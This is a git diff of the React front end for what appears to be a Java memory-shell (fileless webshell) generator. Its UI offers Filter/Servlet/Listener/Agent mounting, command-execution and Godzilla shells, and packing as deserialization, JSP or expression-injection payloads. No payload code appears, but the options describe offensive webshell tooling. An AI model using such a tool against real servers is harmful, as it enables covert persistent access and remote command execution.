</CardTitle>
|
||||||
</CardHeader>
|
</CardHeader>
|
||||||
<CardContent className="space-y-2">
|
<CardContent>
|
||||||
<div className="space-y-1">
|
<FormProvider {...form}>
|
||||||
<Label className="text-sm">打包方式</Label>
|
<FormField
|
||||||
<RadioGroup defaultValue="base64">
|
control={form.control}
|
||||||
<div className="grid grid-cols-2 gap-2">
|
name="packingMethod"
|
||||||
<div className="flex items-center space-x-2">
|
render={({ field }) => (
|
||||||
<RadioGroupItem value="base64" id="base64" />
|
<FormItem className="space-y-3">
|
||||||
<Label htmlFor="base64" className="text-xs">
|
<FormLabel>打包方式</FormLabel>
|
||||||
Base64
|
<FormControl>
|
||||||
</Label>
|
<RadioGroup onValueChange={field.onChange} defaultValue={field.value} className="grid grid-cols-3">
|
||||||
</div>
|
{Object.entries(packerConfig ?? {}).map(([name, value]) => (
|
||||||
<div className="flex items-center space-x-2">
|
<FormItem key={value} className="flex items-center space-x-3 space-y-0">
|
||||||
<RadioGroupItem value="jsp" id="jsp" />
|
<FormControl>
|
||||||
<Label htmlFor="jsp" className="text-xs">
|
<RadioGroupItem value={value} id={value} />
|
||||||
JSP
|
</FormControl>
|
||||||
</Label>
|
<FormLabel className="text-xs" htmlFor={value}>
|
||||||
</div>
|
{name}
|
||||||
<div className="flex items-center space-x-2">
|
</FormLabel>
|
||||||
<RadioGroupItem value="classFile" id="classFile" />
|
</FormItem>
|
||||||
<Label htmlFor="classFile" className="text-xs">
|
))}
|
||||||
反序列化
|
</RadioGroup>
|
||||||
</Label>
|
</FormControl>
|
||||||
</div>
|
</FormItem>
|
||||||
<div className="flex items-center space-x-2">
|
)}
|
||||||
<RadioGroupItem value="scriptEngine" id="scriptEngine" />
|
/>
|
||||||
<Label htmlFor="scriptEngine" className="text-xs">
|
</FormProvider>
|
||||||
ScriptEngine
|
|
||||||
</Label>
|
|
||||||
</div>
|
|
||||||
<div className="flex items-center space-x-2">
|
|
||||||
<RadioGroupItem value="elExpression" id="elExpression" />
|
|
||||||
<Label htmlFor="elExpression" className="text-xs">
|
|
||||||
EL Expression
|
|
||||||
</Label>
|
|
||||||
</div>
|
|
||||||
<div className="flex items-center space-x-2">
|
|
||||||
<RadioGroupItem value="ognlExpression" id="ognlExpression" />
|
|
||||||
<Label htmlFor="ognlExpression" className="text-xs">
|
|
||||||
OGNL Expression
|
|
||||||
</Label>
|
|
||||||
</div>
|
|
||||||
<div className="flex items-center space-x-2">
|
|
||||||
<RadioGroupItem value="spelExpression" id="spelExpression" />
|
|
||||||
<Label htmlFor="spelExpression" className="text-xs">
|
|
||||||
SpEL Expression
|
|
||||||
</Label>
|
|
||||||
</div>
|
|
||||||
<div className="flex items-center space-x-2">
|
|
||||||
<RadioGroupItem value="elExpression" id="elExpression" />
|
|
||||||
<Label htmlFor="elExpression" className="text-xs">
|
|
||||||
EL Expression
|
|
||||||
</Label>
|
|
||||||
</div>
|
|
||||||
<div className="flex items-center space-x-2">
|
|
||||||
<RadioGroupItem value="freemarkerExpression" id="freemarkerExpression" />
|
|
||||||
<Label htmlFor="freemarkerExpression" className="text-xs">
|
|
||||||
Freemarker
|
|
||||||
</Label>
|
|
||||||
</div>
|
|
||||||
<div className="flex items-center space-x-2">
|
|
||||||
<RadioGroupItem value="velocityExpression" id="velocityExpression" />
|
|
||||||
<Label htmlFor="velocityExpression" className="text-xs">
|
|
||||||
Velocity
|
|
||||||
</Label>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</RadioGroup>
|
|
||||||
</div>
|
|
||||||
</CardContent>
|
</CardContent>
|
||||||
</Card>
|
</Card>
|
||||||
);
|
);
|
||||||
|
|||||||
@@ -1,78 +0,0 @@
|
|||||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
|
|
||||||
import { Input } from "@/components/ui/input.tsx";
|
|
||||||
import { Label } from "@/components/ui/label.tsx";
|
|
||||||
import {
|
|
||||||
Select,
|
|
||||||
SelectContent,
|
|
||||||
SelectItem,
|
|
||||||
SelectTrigger,
|
|
||||||
SelectValue,
|
|
||||||
} from "@/components/ui/select.tsx";
|
|
||||||
import { FishSymbolIcon } from "lucide-react";
|
|
||||||
import { useState } from "react";
|
|
||||||
|
|
||||||
export function ShellConfigCard() {
|
|
||||||
const [shellTool, setShellTool] = useState<string>("");
|
|
||||||
return (
|
|
||||||
<Card className="w-full">
|
|
||||||
<CardHeader className="pb-1">
|
|
||||||
<CardTitle className="text-md flex items-center gap-2">
|
|
||||||
<FishSymbolIcon className="h-5" />
|
|
||||||
<span>内存马配置</span>
|
|
||||||
</CardTitle>
|
|
||||||
</CardHeader>
|
|
||||||
<CardContent className="space-y-2">
|
|
||||||
<div className="space-y-1">
|
|
||||||
<Label htmlFor="shellType" className="text-sm">
|
|
||||||
挂载类型
|
|
||||||
</Label>
|
|
||||||
<Select>
|
|
||||||
<SelectTrigger id="shellType" className="h-8">
|
|
||||||
<SelectValue placeholder="请选择" />
|
|
||||||
</SelectTrigger>
|
|
||||||
<SelectContent>
|
|
||||||
<SelectItem value="filter">Filter</SelectItem>
|
|
||||||
<SelectItem value="servlet">Servlet</SelectItem>
|
|
||||||
<SelectItem value="listener">Listener</SelectItem>
|
|
||||||
<SelectItem value="agent">Agent</SelectItem>
|
|
||||||
</SelectContent>
|
|
||||||
</Select>
|
|
||||||
</div>
|
|
||||||
<div className="space-y-1">
|
|
||||||
<Label htmlFor="shellTool" className="text-sm">
|
|
||||||
工具类型
|
|
||||||
</Label>
|
|
||||||
<Select onValueChange={(value: string) => setShellTool(value)}>
|
|
||||||
<SelectTrigger id="shellTool" className="h-8">
|
|
||||||
<SelectValue placeholder="请选择" />
|
|
||||||
</SelectTrigger>
|
|
||||||
<SelectContent>
|
|
||||||
<SelectItem value="command">命令执行</SelectItem>
|
|
||||||
<SelectItem value="fileList">File List</SelectItem>
|
|
||||||
<SelectItem value="gozilla">Godzilla</SelectItem>
|
|
||||||
</SelectContent>
|
|
||||||
</Select>
|
|
||||||
</div>
|
|
||||||
{shellTool === "gozilla" && (
|
|
||||||
<div className="space-y-1">
|
|
||||||
<Label className="text-sm">Godzilla 配置</Label>
|
|
||||||
<div className="grid grid-cols-2 gap-2">
|
|
||||||
<Input placeholder="Pass" className="h-8 text-sm" />
|
|
||||||
<Input placeholder="Key" className="h-8 text-sm" />
|
|
||||||
<Input placeholder="Header Name" className="h-8 text-sm" />
|
|
||||||
<Input placeholder="Header Value" className="h-8 text-sm" />
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
)}
|
|
||||||
{shellTool === "command" && (
|
|
||||||
<div className="space-y-1">
|
|
||||||
<Label htmlFor="paramName" className="text-sm">
|
|
||||||
接收命令请求参数
|
|
||||||
</Label>
|
|
||||||
<Input id="paramName" placeholder="请输入" className="h-8 text-sm" />
|
|
||||||
</div>
|
|
||||||
)}
|
|
||||||
</CardContent>
|
|
||||||
</Card>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
File diff suppressed because one or more lines are too long
@@ -26,9 +26,7 @@ export function ThemeProvider({
|
|||||||
storageKey = "vite-ui-theme",
|
storageKey = "vite-ui-theme",
|
||||||
...props
|
...props
|
||||||
}: ThemeProviderProps) {
|
}: ThemeProviderProps) {
|
||||||
const [theme, setTheme] = useState<Theme>(
|
const [theme, setTheme] = useState<Theme>(() => (localStorage.getItem(storageKey) as Theme) || defaultTheme);
|
||||||
() => (localStorage.getItem(storageKey) as Theme) || defaultTheme,
|
|
||||||
);
|
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
const root = window.document.documentElement;
|
const root = window.document.documentElement;
|
||||||
@@ -37,9 +35,7 @@ export function ThemeProvider({
|
|||||||
|
|
||||||
root.removeAttribute(mode);
|
root.removeAttribute(mode);
|
||||||
if (theme === "system") {
|
if (theme === "system") {
|
||||||
const systemTheme = window.matchMedia("(prefers-color-scheme: dark)").matches
|
const systemTheme = window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light";
|
||||||
? "dark"
|
|
||||||
: "light";
|
|
||||||
|
|
||||||
root.classList.add(systemTheme);
|
root.classList.add(systemTheme);
|
||||||
root.setAttribute(mode, systemTheme);
|
root.setAttribute(mode, systemTheme);
|
||||||
|
|||||||
@@ -0,0 +1,18 @@
|
|||||||
|
import { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from "@/components/ui/tooltip.tsx";
|
||||||
|
import { InfoIcon } from "lucide-react";
|
||||||
|
|
||||||
|
export function JRETip() {
|
||||||
|
return (
|
||||||
|
<TooltipProvider>
|
||||||
|
<Tooltip>
|
||||||
|
<TooltipTrigger asChild>
|
||||||
|
<InfoIcon className="cursor-pointer h-3" />
|
||||||
|
</TooltipTrigger>
|
||||||
|
<TooltipContent>
|
||||||
|
<p>目标 JRE 版本,一般而言为了最大的兼容性,默认 Java 6 即可。</p>
|
||||||
|
<p>特定情况下,例如 JDK8 才能使用 lambda 表达式,JDK9 以上存在模块限制时才需要选择特定的版本。</p>
|
||||||
|
</TooltipContent>
|
||||||
|
</Tooltip>
|
||||||
|
</TooltipProvider>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
import { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from "@/components/ui/tooltip.tsx";
|
||||||
|
import { InfoIcon } from "lucide-react";
|
||||||
|
|
||||||
|
export function UrlPatternTip() {
|
||||||
|
return (
|
||||||
|
<TooltipProvider>
|
||||||
|
<Tooltip>
|
||||||
|
<TooltipTrigger asChild>
|
||||||
|
<InfoIcon className="cursor-pointer h-4" />
|
||||||
|
</TooltipTrigger>
|
||||||
|
<TooltipContent>
|
||||||
|
<p>当使用 Servlet 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用</p>
|
||||||
|
</TooltipContent>
|
||||||
|
</Tooltip>
|
||||||
|
</TooltipProvider>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -9,8 +9,7 @@ const alertVariants = cva(
|
|||||||
variants: {
|
variants: {
|
||||||
variant: {
|
variant: {
|
||||||
default: "bg-background text-foreground",
|
default: "bg-background text-foreground",
|
||||||
destructive:
|
destructive: "border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive",
|
||||||
"border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive",
|
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
defaultVariants: {
|
defaultVariants: {
|
||||||
@@ -29,21 +28,16 @@ Alert.displayName = "Alert";
|
|||||||
|
|
||||||
const AlertTitle = React.forwardRef<HTMLParagraphElement, React.HTMLAttributes<HTMLHeadingElement>>(
|
const AlertTitle = React.forwardRef<HTMLParagraphElement, React.HTMLAttributes<HTMLHeadingElement>>(
|
||||||
({ className, ...props }, ref) => (
|
({ className, ...props }, ref) => (
|
||||||
<h5
|
<h5 ref={ref} className={cn("mb-1 font-medium leading-none tracking-tight", className)} {...props} />
|
||||||
ref={ref}
|
|
||||||
className={cn("mb-1 font-medium leading-none tracking-tight", className)}
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
),
|
),
|
||||||
);
|
);
|
||||||
AlertTitle.displayName = "AlertTitle";
|
AlertTitle.displayName = "AlertTitle";
|
||||||
|
|
||||||
const AlertDescription = React.forwardRef<
|
const AlertDescription = React.forwardRef<HTMLParagraphElement, React.HTMLAttributes<HTMLParagraphElement>>(
|
||||||
HTMLParagraphElement,
|
({ className, ...props }, ref) => (
|
||||||
React.HTMLAttributes<HTMLParagraphElement>
|
<div ref={ref} className={cn("text-sm [&_p]:leading-relaxed", className)} {...props} />
|
||||||
>(({ className, ...props }, ref) => (
|
),
|
||||||
<div ref={ref} className={cn("text-sm [&_p]:leading-relaxed", className)} {...props} />
|
);
|
||||||
));
|
|
||||||
AlertDescription.displayName = "AlertDescription";
|
AlertDescription.displayName = "AlertDescription";
|
||||||
|
|
||||||
export { Alert, AlertTitle, AlertDescription };
|
export { Alert, AlertTitle, AlertDescription };
|
||||||
|
|||||||
@@ -11,8 +11,7 @@ const buttonVariants = cva(
|
|||||||
variant: {
|
variant: {
|
||||||
default: "bg-primary text-primary-foreground shadow hover:bg-primary/90",
|
default: "bg-primary text-primary-foreground shadow hover:bg-primary/90",
|
||||||
destructive: "bg-destructive text-destructive-foreground shadow-sm hover:bg-destructive/90",
|
destructive: "bg-destructive text-destructive-foreground shadow-sm hover:bg-destructive/90",
|
||||||
outline:
|
outline: "border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground",
|
||||||
"border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground",
|
|
||||||
secondary: "bg-secondary text-secondary-foreground shadow-sm hover:bg-secondary/80",
|
secondary: "bg-secondary text-secondary-foreground shadow-sm hover:bg-secondary/80",
|
||||||
ghost: "hover:bg-accent hover:text-accent-foreground",
|
ghost: "hover:bg-accent hover:text-accent-foreground",
|
||||||
link: "text-primary underline-offset-4 hover:underline",
|
link: "text-primary underline-offset-4 hover:underline",
|
||||||
@@ -40,9 +39,7 @@ export interface ButtonProps
|
|||||||
const Button = React.forwardRef<HTMLButtonElement, ButtonProps>(
|
const Button = React.forwardRef<HTMLButtonElement, ButtonProps>(
|
||||||
({ className, variant, size, asChild = false, ...props }, ref) => {
|
({ className, variant, size, asChild = false, ...props }, ref) => {
|
||||||
const Comp = asChild ? Slot : "button";
|
const Comp = asChild ? Slot : "button";
|
||||||
return (
|
return <Comp className={cn(buttonVariants({ variant, size, className }))} ref={ref} {...props} />;
|
||||||
<Comp className={cn(buttonVariants({ variant, size, className }))} ref={ref} {...props} />
|
|
||||||
);
|
|
||||||
},
|
},
|
||||||
);
|
);
|
||||||
Button.displayName = "Button";
|
Button.displayName = "Button";
|
||||||
|
|||||||
@@ -2,15 +2,9 @@ import * as React from "react";
|
|||||||
|
|
||||||
import { cn } from "@/lib/utils";
|
import { cn } from "@/lib/utils";
|
||||||
|
|
||||||
const Card = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>(
|
const Card = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>(({ className, ...props }, ref) => (
|
||||||
({ className, ...props }, ref) => (
|
<div ref={ref} className={cn("rounded-xl border bg-card text-card-foreground shadow", className)} {...props} />
|
||||||
<div
|
));
|
||||||
ref={ref}
|
|
||||||
className={cn("rounded-xl border bg-card text-card-foreground shadow", className)}
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
),
|
|
||||||
);
|
|
||||||
Card.displayName = "Card";
|
Card.displayName = "Card";
|
||||||
|
|
||||||
const CardHeader = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>(
|
const CardHeader = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>(
|
||||||
@@ -22,11 +16,7 @@ CardHeader.displayName = "CardHeader";
|
|||||||
|
|
||||||
const CardTitle = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>(
|
const CardTitle = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>(
|
||||||
({ className, ...props }, ref) => (
|
({ className, ...props }, ref) => (
|
||||||
<div
|
<div ref={ref} className={cn("font-semibold leading-none tracking-tight", className)} {...props} />
|
||||||
ref={ref}
|
|
||||||
className={cn("font-semibold leading-none tracking-tight", className)}
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
),
|
),
|
||||||
);
|
);
|
||||||
CardTitle.displayName = "CardTitle";
|
CardTitle.displayName = "CardTitle";
|
||||||
@@ -39,9 +29,7 @@ const CardDescription = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HT
|
|||||||
CardDescription.displayName = "CardDescription";
|
CardDescription.displayName = "CardDescription";
|
||||||
|
|
||||||
const CardContent = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>(
|
const CardContent = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>(
|
||||||
({ className, ...props }, ref) => (
|
({ className, ...props }, ref) => <div ref={ref} className={cn("p-6 pt-0", className)} {...props} />,
|
||||||
<div ref={ref} className={cn("p-6 pt-0", className)} {...props} />
|
|
||||||
),
|
|
||||||
);
|
);
|
||||||
CardContent.displayName = "CardContent";
|
CardContent.displayName = "CardContent";
|
||||||
|
|
||||||
|
|||||||
@@ -152,18 +152,12 @@ const DropdownMenuSeparator = React.forwardRef<
|
|||||||
React.ElementRef<typeof DropdownMenuPrimitive.Separator>,
|
React.ElementRef<typeof DropdownMenuPrimitive.Separator>,
|
||||||
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Separator>
|
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Separator>
|
||||||
>(({ className, ...props }, ref) => (
|
>(({ className, ...props }, ref) => (
|
||||||
<DropdownMenuPrimitive.Separator
|
<DropdownMenuPrimitive.Separator ref={ref} className={cn("-mx-1 my-1 h-px bg-muted", className)} {...props} />
|
||||||
ref={ref}
|
|
||||||
className={cn("-mx-1 my-1 h-px bg-muted", className)}
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
));
|
));
|
||||||
DropdownMenuSeparator.displayName = DropdownMenuPrimitive.Separator.displayName;
|
DropdownMenuSeparator.displayName = DropdownMenuPrimitive.Separator.displayName;
|
||||||
|
|
||||||
const DropdownMenuShortcut = ({ className, ...props }: React.HTMLAttributes<HTMLSpanElement>) => {
|
const DropdownMenuShortcut = ({ className, ...props }: React.HTMLAttributes<HTMLSpanElement>) => {
|
||||||
return (
|
return <span className={cn("ml-auto text-xs tracking-widest opacity-60", className)} {...props} />;
|
||||||
<span className={cn("ml-auto text-xs tracking-widest opacity-60", className)} {...props} />
|
|
||||||
);
|
|
||||||
};
|
};
|
||||||
DropdownMenuShortcut.displayName = "DropdownMenuShortcut";
|
DropdownMenuShortcut.displayName = "DropdownMenuShortcut";
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,136 @@
|
|||||||
|
import * as React from "react";
|
||||||
|
import * as LabelPrimitive from "@radix-ui/react-label";
|
||||||
|
import { Slot } from "@radix-ui/react-slot";
|
||||||
|
import { Controller, ControllerProps, FieldPath, FieldValues, FormProvider, useFormContext } from "react-hook-form";
|
||||||
|
|
||||||
|
import { cn } from "@/lib/utils";
|
||||||
|
import { Label } from "@/components/ui/label";
|
||||||
|
|
||||||
|
const Form = FormProvider;
|
||||||
|
|
||||||
|
type FormFieldContextValue<
|
||||||
|
TFieldValues extends FieldValues = FieldValues,
|
||||||
|
TName extends FieldPath<TFieldValues> = FieldPath<TFieldValues>,
|
||||||
|
> = {
|
||||||
|
name: TName;
|
||||||
|
};
|
||||||
|
|
||||||
|
const FormFieldContext = React.createContext<FormFieldContextValue>({} as FormFieldContextValue);
|
||||||
|
|
||||||
|
const FormField = <
|
||||||
|
TFieldValues extends FieldValues = FieldValues,
|
||||||
|
TName extends FieldPath<TFieldValues> = FieldPath<TFieldValues>,
|
||||||
|
>({
|
||||||
|
...props
|
||||||
|
}: ControllerProps<TFieldValues, TName>) => {
|
||||||
|
return (
|
||||||
|
<FormFieldContext.Provider value={{ name: props.name }}>
|
||||||
|
<Controller {...props} />
|
||||||
|
</FormFieldContext.Provider>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
const useFormField = () => {
|
||||||
|
const fieldContext = React.useContext(FormFieldContext);
|
||||||
|
const itemContext = React.useContext(FormItemContext);
|
||||||
|
const { getFieldState, formState } = useFormContext();
|
||||||
|
|
||||||
|
const fieldState = getFieldState(fieldContext.name, formState);
|
||||||
|
|
||||||
|
if (!fieldContext) {
|
||||||
|
throw new Error("useFormField should be used within <FormField>");
|
||||||
|
}
|
||||||
|
|
||||||
|
const { id } = itemContext;
|
||||||
|
|
||||||
|
return {
|
||||||
|
id,
|
||||||
|
name: fieldContext.name,
|
||||||
|
formItemId: `${id}-form-item`,
|
||||||
|
formDescriptionId: `${id}-form-item-description`,
|
||||||
|
formMessageId: `${id}-form-item-message`,
|
||||||
|
...fieldState,
|
||||||
|
};
|
||||||
|
};
|
||||||
|
|
||||||
|
type FormItemContextValue = {
|
||||||
|
id: string;
|
||||||
|
};
|
||||||
|
|
||||||
|
const FormItemContext = React.createContext<FormItemContextValue>({} as FormItemContextValue);
|
||||||
|
|
||||||
|
const FormItem = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>(
|
||||||
|
({ className, ...props }, ref) => {
|
||||||
|
const id = React.useId();
|
||||||
|
|
||||||
|
return (
|
||||||
|
<FormItemContext.Provider value={{ id }}>
|
||||||
|
<div ref={ref} className={cn("space-y-2", className)} {...props} />
|
||||||
|
</FormItemContext.Provider>
|
||||||
|
);
|
||||||
|
},
|
||||||
|
);
|
||||||
|
FormItem.displayName = "FormItem";
|
||||||
|
|
||||||
|
const FormLabel = React.forwardRef<
|
||||||
|
React.ElementRef<typeof LabelPrimitive.Root>,
|
||||||
|
React.ComponentPropsWithoutRef<typeof LabelPrimitive.Root>
|
||||||
|
>(({ className, ...props }, ref) => {
|
||||||
|
const { error, formItemId } = useFormField();
|
||||||
|
|
||||||
|
return <Label ref={ref} className={cn(error && "text-destructive", className)} htmlFor={formItemId} {...props} />;
|
||||||
|
});
|
||||||
|
FormLabel.displayName = "FormLabel";
|
||||||
|
|
||||||
|
const FormControl = React.forwardRef<React.ElementRef<typeof Slot>, React.ComponentPropsWithoutRef<typeof Slot>>(
|
||||||
|
({ ...props }, ref) => {
|
||||||
|
const { error, formItemId, formDescriptionId, formMessageId } = useFormField();
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Slot
|
||||||
|
ref={ref}
|
||||||
|
id={formItemId}
|
||||||
|
aria-describedby={!error ? `${formDescriptionId}` : `${formDescriptionId} ${formMessageId}`}
|
||||||
|
aria-invalid={!!error}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
},
|
||||||
|
);
|
||||||
|
FormControl.displayName = "FormControl";
|
||||||
|
|
||||||
|
const FormDescription = React.forwardRef<HTMLParagraphElement, React.HTMLAttributes<HTMLParagraphElement>>(
|
||||||
|
({ className, ...props }, ref) => {
|
||||||
|
const { formDescriptionId } = useFormField();
|
||||||
|
|
||||||
|
return (
|
||||||
|
<p ref={ref} id={formDescriptionId} className={cn("text-[0.8rem] text-muted-foreground", className)} {...props} />
|
||||||
|
);
|
||||||
|
},
|
||||||
|
);
|
||||||
|
FormDescription.displayName = "FormDescription";
|
||||||
|
|
||||||
|
const FormMessage = React.forwardRef<HTMLParagraphElement, React.HTMLAttributes<HTMLParagraphElement>>(
|
||||||
|
({ className, children, ...props }, ref) => {
|
||||||
|
const { error, formMessageId } = useFormField();
|
||||||
|
const body = error ? String(error?.message) : children;
|
||||||
|
|
||||||
|
if (!body) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return (
|
||||||
|
<p
|
||||||
|
ref={ref}
|
||||||
|
id={formMessageId}
|
||||||
|
className={cn("text-[0.8rem] font-medium text-destructive", className)}
|
||||||
|
{...props}
|
||||||
|
>
|
||||||
|
{body}
|
||||||
|
</p>
|
||||||
|
);
|
||||||
|
},
|
||||||
|
);
|
||||||
|
FormMessage.displayName = "FormMessage";
|
||||||
|
|
||||||
|
export { useFormField, Form, FormItem, FormLabel, FormControl, FormDescription, FormMessage, FormField };
|
||||||
@@ -6,9 +6,7 @@ import { cva, type VariantProps } from "class-variance-authority";
|
|||||||
|
|
||||||
import { cn } from "@/lib/utils";
|
import { cn } from "@/lib/utils";
|
||||||
|
|
||||||
const labelVariants = cva(
|
const labelVariants = cva("text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70");
|
||||||
"text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70",
|
|
||||||
);
|
|
||||||
|
|
||||||
const Label = React.forwardRef<
|
const Label = React.forwardRef<
|
||||||
React.ElementRef<typeof LabelPrimitive.Root>,
|
React.ElementRef<typeof LabelPrimitive.Root>,
|
||||||
|
|||||||
@@ -94,11 +94,7 @@ const SelectLabel = React.forwardRef<
|
|||||||
React.ElementRef<typeof SelectPrimitive.Label>,
|
React.ElementRef<typeof SelectPrimitive.Label>,
|
||||||
React.ComponentPropsWithoutRef<typeof SelectPrimitive.Label>
|
React.ComponentPropsWithoutRef<typeof SelectPrimitive.Label>
|
||||||
>(({ className, ...props }, ref) => (
|
>(({ className, ...props }, ref) => (
|
||||||
<SelectPrimitive.Label
|
<SelectPrimitive.Label ref={ref} className={cn("px-2 py-1.5 text-sm font-semibold", className)} {...props} />
|
||||||
ref={ref}
|
|
||||||
className={cn("px-2 py-1.5 text-sm font-semibold", className)}
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
));
|
));
|
||||||
SelectLabel.displayName = SelectPrimitive.Label.displayName;
|
SelectLabel.displayName = SelectPrimitive.Label.displayName;
|
||||||
|
|
||||||
@@ -128,11 +124,7 @@ const SelectSeparator = React.forwardRef<
|
|||||||
React.ElementRef<typeof SelectPrimitive.Separator>,
|
React.ElementRef<typeof SelectPrimitive.Separator>,
|
||||||
React.ComponentPropsWithoutRef<typeof SelectPrimitive.Separator>
|
React.ComponentPropsWithoutRef<typeof SelectPrimitive.Separator>
|
||||||
>(({ className, ...props }, ref) => (
|
>(({ className, ...props }, ref) => (
|
||||||
<SelectPrimitive.Separator
|
<SelectPrimitive.Separator ref={ref} className={cn("-mx-1 my-1 h-px bg-muted", className)} {...props} />
|
||||||
ref={ref}
|
|
||||||
className={cn("-mx-1 my-1 h-px bg-muted", className)}
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
));
|
));
|
||||||
SelectSeparator.displayName = SelectPrimitive.Separator.displayName;
|
SelectSeparator.displayName = SelectPrimitive.Separator.displayName;
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,20 @@
|
|||||||
|
import * as React from "react";
|
||||||
|
import * as SeparatorPrimitive from "@radix-ui/react-separator";
|
||||||
|
|
||||||
|
import { cn } from "@/lib/utils";
|
||||||
|
|
||||||
|
const Separator = React.forwardRef<
|
||||||
|
React.ElementRef<typeof SeparatorPrimitive.Root>,
|
||||||
|
React.ComponentPropsWithoutRef<typeof SeparatorPrimitive.Root>
|
||||||
|
>(({ className, orientation = "horizontal", decorative = true, ...props }, ref) => (
|
||||||
|
<SeparatorPrimitive.Root
|
||||||
|
ref={ref}
|
||||||
|
decorative={decorative}
|
||||||
|
orientation={orientation}
|
||||||
|
className={cn("shrink-0 bg-border", orientation === "horizontal" ? "h-[1px] w-full" : "h-full w-[1px]", className)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
));
|
||||||
|
Separator.displayName = SeparatorPrimitive.Root.displayName;
|
||||||
|
|
||||||
|
export { Separator };
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
import { Toaster as Sonner } from "sonner";
|
||||||
|
import { useTheme } from "@/components/theme-provider.tsx";
|
||||||
|
|
||||||
|
type ToasterProps = React.ComponentProps<typeof Sonner>;
|
||||||
|
|
||||||
|
const Toaster = ({ ...props }: ToasterProps) => {
|
||||||
|
const { theme = "system" } = useTheme();
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Sonner theme={theme as ToasterProps["theme"]} richColors className="toaster group" toastOptions={{}} {...props} />
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
export { Toaster };
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
import * as React from "react";
|
||||||
|
import * as TooltipPrimitive from "@radix-ui/react-tooltip";
|
||||||
|
|
||||||
|
import { cn } from "@/lib/utils";
|
||||||
|
|
||||||
|
const TooltipProvider = TooltipPrimitive.Provider;
|
||||||
|
|
||||||
|
const Tooltip = TooltipPrimitive.Root;
|
||||||
|
|
||||||
|
const TooltipTrigger = TooltipPrimitive.Trigger;
|
||||||
|
|
||||||
|
const TooltipContent = React.forwardRef<
|
||||||
|
React.ElementRef<typeof TooltipPrimitive.Content>,
|
||||||
|
React.ComponentPropsWithoutRef<typeof TooltipPrimitive.Content>
|
||||||
|
>(({ className, sideOffset = 4, ...props }, ref) => (
|
||||||
|
<TooltipPrimitive.Portal>
|
||||||
|
<TooltipPrimitive.Content
|
||||||
|
ref={ref}
|
||||||
|
sideOffset={sideOffset}
|
||||||
|
className={cn(
|
||||||
|
"z-50 overflow-hidden rounded-md bg-primary px-3 py-1.5 text-xs text-primary-foreground animate-in fade-in-0 zoom-in-95 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
|
||||||
|
className,
|
||||||
|
)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
</TooltipPrimitive.Portal>
|
||||||
|
));
|
||||||
|
TooltipContent.displayName = TooltipPrimitive.Content.displayName;
|
||||||
|
|
||||||
|
export { Tooltip, TooltipTrigger, TooltipContent, TooltipProvider };
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
import * as z from "zod";
|
||||||
|
|
||||||
|
const EnvSchema = z.object({
|
||||||
|
API_URL: z.optional(z.string()),
|
||||||
|
});
|
||||||
|
|
||||||
|
const createEnv = () => {
|
||||||
|
// @ts-ignore
|
||||||
|
const envVars = Object.entries(import.meta.env).reduce<Record<string, string>>((acc, curr) => {
|
||||||
|
const [key, value] = curr;
|
||||||
|
if (key.startsWith("VITE_APP_")) {
|
||||||
|
if (typeof value === "string") {
|
||||||
|
acc[key.replace("VITE_APP_", "")] = value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return acc;
|
||||||
|
}, {});
|
||||||
|
